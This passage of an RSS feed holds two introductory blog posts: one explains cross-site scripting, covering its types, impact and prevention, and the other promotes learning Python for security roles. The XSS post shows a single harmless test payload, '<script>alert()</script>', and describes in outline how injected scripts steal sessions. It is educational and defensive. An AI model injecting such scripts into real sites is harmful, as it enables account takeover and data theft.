            <title><![CDATA[Cross-Site Scripting (XSS): Understanding the Attack Surface, Execution Flow, and Security Impact]]></title>
            <link>https://medium.com/@dakshdhamija2006/cross-site-scripting-xss-understanding-the-attack-surface-execution-flow-and-security-impact-0783b7209745?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/0783b7209745</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Sun, 16 Aug 2026 12:06:59 GMT</pubDate>
            <atom:updated>2026-08-16T12:06:59.284Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Scripting (XSS) remains one of the most important web application security vulnerabilities. This article breaks down how XSS works — from attacker-controlled input and execution contexts to browser-side execution and real-world security impact. It also introduces the core concepts behind reflected, stored, and DOM-based XSS, providing a foundation for understanding and testing XSS vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zfA-ABTS_sPmLYK8iy7Yg.png" /></figure><h4>What is Cross-Site Scripting?</h4><p>Cross-Site-Scripting (XSS) is a critical web application vulnerability that occurs when an application includes user controlled data in HTML without proper validation or escaping. This allows users to inject malicious client side javaScript into web pages viewed by others.</p><p>In today’s modern web application XSS still remains relevant on web due to several reasons:</p><ul><li>Dynamic web applications rely heavily on user controlled inputs like search queries, profile, comments expanding the attack surface.</li><li>Modern JavaScript framework like (React, Angular) gives protection against XSS but in some cases they are still vulnerable to it.</li><li>Single Page Applications (SPAs) frequently fetch data from APIs and render it dynamically on the client side, creating new vectors for script injection if client-side rendering is unsecure.</li><li>A successful XSS can lead to session hijacking, cookie theft and account takeovers.</li></ul><p><strong>The Fundamental Data → Code Problem </strong>is the main issue responsible for the XSS. Example - Imagine a simple blog web application with a functionality to search blogs. Normal user will provide a valid search term and the application works as intended but a security researcher will try to give it a input like this <strong>&lt;script&gt;alert()&lt;/script&gt;. </strong>Website takes this text and drops it directly into the webpage. Browser reads the line and it does not know that it was written by user or developer in the code so browser takes this as an instruction and executes it normally.</p><h4>How XSS Actually Works?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*v0LAkQeAY0v_MmEOf8n9ng.png" /></figure><h4>Understanding the XSS Attack Surface</h4><p>Attack surface of web application refers to every point where an attacker can input malicious data into the system. In XSS location needs to accept the untrusted user supplied data and then display it on the browser.</p><p>Attackers can inject malicious scripts through various entry points :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CTrEADXLasuTMmTTK1CAzg.png" /></figure><h4>The Three Types of XSS</h4><p>There are mainly three types of XSS vulnerability:</p><ul><li><strong>Reflected XSS : </strong>Reflected XSS is a temporary, “one-shot” attack. The malicious script is part of a request sent to the server, and the server immediately echoes (reflects) that script back in its response.</li><li><strong>Stored XSS : </strong>Stored XSS (also known as Persistent XSS) is the most damaging type of XSS. Instead of being reflected immediately, the malicious script is permanently saved by the application which can affect the all users visiting that web page.</li><li><strong>DOM based XSS : </strong>Unlike Reflected and Stored XSS — where the vulnerability exists in the backend server code — DOM-Based XSS happens entirely inside the user’s browser (on the client-side).</li></ul><h4>Security Impact of XSS</h4><p>The true severity of a Cross-Site Scripting vulnerability is often misunderstood. XSS is not just about popping up an alert box on a screen; it allows an attacker to execute arbitrary code within a victim’s active session. Because the malicious code runs inside the trusted context of the application, the attacker gains the ability to perform any action the user can perform based on their privilege levels.</p><p>When an attacker successfully exploit XSS and executes JavaScript in victim’s browser they can do different things :</p><ul><li>Account actions</li><li>Sensitive data access</li><li>Session abuse</li><li>Phishing/UI manipulation</li><li>Credential theft scenarios</li><li>CSRF abuse</li><li>Privileged-user compromise</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xIWqrHU1olVFIAXka9q4w.png" /></figure><h4><strong>Common Misconceptions about XSS</strong></h4><ul><li>“&lt;script&gt; is the only XSS payload.&quot;</li><li>“If &lt;script&gt; is blocked, XSS is impossible.&quot;</li><li>“A CSRF token prevents XSS.”</li><li>“DOM XSS always appears in the server response.”</li><li>“XSS is only about stealing cookies.”</li><li>“A blacklist is enough to prevent XSS.”</li></ul><h4>XSS Prevention</h4><p>Preventing Cross-Site Scripting (XSS) requires converting user-controlled data into safe, non-executable text through context-aware output encoding. For rich text, developers should employ trusted sanitation libraries like DOMPurify, while leveraging defense-in-depth measures such as modern frameworks, HttpOnly cookies, and strict Content Security Policies (CSP).</p><h4>Conclusion</h4><p>Understanding XSS is less about memorizing payloads and more about understanding how attacker-controlled data moves through an application and eventually reaches a context where the browser interprets it as executable code.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>Github:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0783b7209745" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python for Cybersecurity: Why Every Aspiring Security Professional Should Learn It Before Chasing…]]></title>
            <link>https://medium.com/@dakshdhamija2006/python-for-cybersecurity-why-every-aspiring-security-professional-should-learn-it-before-chasing-42af6a5b858e?source=rss-d71371ef3374------2</link>
            <guid isPermaLink="false">https://medium.com/p/42af6a5b858e</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[python-libraries]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Daksh Dhamija]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 14:42:35 GMT</pubDate>
            <atom:updated>2026-07-16T14:42:35.656Z</atom:updated>
            <content:encoded><![CDATA[<h3>Python for Cybersecurity: Why Every Aspiring Security Professional Should Learn It Before Chasing Certifications</h3><p>From penetration testing to application security and SOC automation, Python powers countless cybersecurity tasks. This blog explains why learning Python is essential, where it’s used in real-world security roles, and how you can start building practical skills through projects instead of relying solely on certifications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBdV5SsR2KkEf-CJKZxKEA.png" /></figure><h4>Why Python?</h4><p>The global cybersecurity industry faces an estimated <strong>shortage of 3.5 to 4.8 million professionals worldwide.</strong> However, there is also a significant skills gap. One of the most common mistakes beginners make is chasing certifications like CEH/EJPT and many others. They think Certifications = Job, but reality is that not any certification can guarantee a job but skills do. Today, Python is considered one of the most valuable skills in cybersecurity because security professionals automate repetitive tasks every day to improve efficiency and accuracy. Python is widely regarded as one of the best programming languages for cybersecurity because of its readability, massive ecosystem, cross-platform compatibility, and powerful automation capabilities.</p><h4>Where is Python Used in Cybersecurity?</h4><p>Python is used across every layer of cybersecurity, bridging the gap between offensive testing, defensive operations, and digital forensics. Because it is highly versatile, different security teams use it for entirely different tasks.</p><ul><li><strong>Security Operations &amp; Incident Response (Blue Teaming) :</strong> Defensive teams use Python to monitor systems, hunt for threats and neutralizing active threats. It mainly includes task like log analysis, alert enrichment and automated isolation.</li><li><strong>Penetration Testing &amp; Ethical Hacking (Red Teaming) : </strong>Offensive teams use Python to discover vulnerabilities and simulate real world attacks including tasks like network reconnaissance, exploit development and credential stuffing.</li><li><strong>Malware Analysis &amp; Reverse Engineering : </strong>Security researchers use Python to dissect malicious software and understand how it functions including deobfuscation, automated sandboxing and PE file inspection.</li><li><strong>Cloud Security &amp; DevSecOps : </strong>Cloud security engineers use Python to ensure that modern infrastructure stays locked down. Scanning AWS, Azure, or Google Cloud configurations to detect publicly exposed S3 buckets or weak IAM policies and protecting CI/CD Pipelines.</li></ul><h4>Why Companies Want Python Skills</h4><p>Recruiters and hiring managers prioritize Python skills because cybersecurity has shifted from a field of tool-monitors to a field of builders and automators who can automate these tasks with speed. Here is exactly why companies value Python skills, illustrated by the specific capabilities recruiters look for on a resume :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_zkCETUvErZW4CsRIju_kw.png" /></figure><ul><li><strong>Building Automation Scripts And Developing Security Tools : </strong>Manual security tasks do not scale to enterprise level. They need professionals who can automate their daily repetitive tasks like user provisioning, system provisioning, and credential rotation. Out-of-the-box vendor software rarely fits an organization’s exact infrastructure perfectly so teams have to create their own custom lightweight security tools in order to meet their specific needs.</li><li><strong>API Testing : </strong>Modern IT infrastructure relies completely on cloud-native applications and interconnected web services. Security teams must systematically test APIs for authorization flaws, injection vulnerabilities, and broken object-level validation. Python’s requests library allows analysts to easily script bulk API fuzzing and security audits.</li><li><strong>Log Analysis And Faster Vulnerability Assessments :</strong> Enterprise environments generate massive log data every single hour from firewalls, endpoints, and servers. Purely depending on SIEM tools can be expensive and inefficient to catch complex threat patterns. Recruiters value candidates who can use Python to parse raw logs, filter out background noise, and isolate indicators of compromise (IoCs). When a high-severity zero-day exploit drops globally, companies have a very narrow window to patch their systems before being attacked. Python enables security teams to build and deploy targeted network scanners within minutes. This agility allows organizations to map their attack surface and identify vulnerable internal systems instantly.</li></ul><h4>Essential Python Libraries for Cybersecurity</h4><p>One of Python’s greatest strengths is its rich collection of built-in standard libraries that helps us in doing complex tasks and automation. Below are some of the most commonly used Python libraries in cybersecurity. We’ll explore each of them in detail in future articles :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*yTLbgUfUByISEDZm0T0xrg.png" /></figure><h4>Build Projects Instead of Only Collecting Certificates</h4><p>Instead of focusing solely on certification, we can build stronger python skills by building some cyber related projects :</p><p><strong>Beginner Projects :</strong></p><ul><li>Port Scanner</li><li>Password generator</li><li>Hash calculator</li></ul><p><strong>Intermediate :</strong></p><ul><li>Web Crawler</li><li>API Tester</li><li>Header Scanner</li></ul><p><strong>Advanced :</strong></p><ul><li>Vulnerability Scanner</li><li>Recon tool</li><li>API Security Scanner</li></ul><h4>Learning Roadmap</h4><p>This is the Roadmap you can refer :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8rmR92F0KTTPYlVEMUK0cw.png" /></figure><h4>Conclusion</h4><p>It is easy to get caught up in the collection of acronyms and digital badges, but the real shift happens when you open an empty text editor and start building.</p><blockquote><strong><em>Certifications validate your knowledge, but projects demonstrate your ability. Learning Python won’t make you a cybersecurity expert overnight, but it will help you automate tasks, understand security tools more deeply, and build solutions that set you apart during interviews and in real-world security roles.</em></strong></blockquote><p>Don’t wait until you feel “ready” to start building. Pick one project from the roadmap above — even if it is just a basic three-line script — and write the first line of code today. Your future self, and your future employers, will thank you for it.</p><blockquote><strong>If you’d like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.</strong></blockquote><ol><li><strong>Github:</strong> <a href="https://github.com/daksh-dhamija">https://github.com/daksh-dhamija</a></li><li><strong>Linkedin:</strong> <a href="https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/">https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/</a></li></ol><p><strong><em>Feedback and suggestions are always appreciated.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42af6a5b858e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>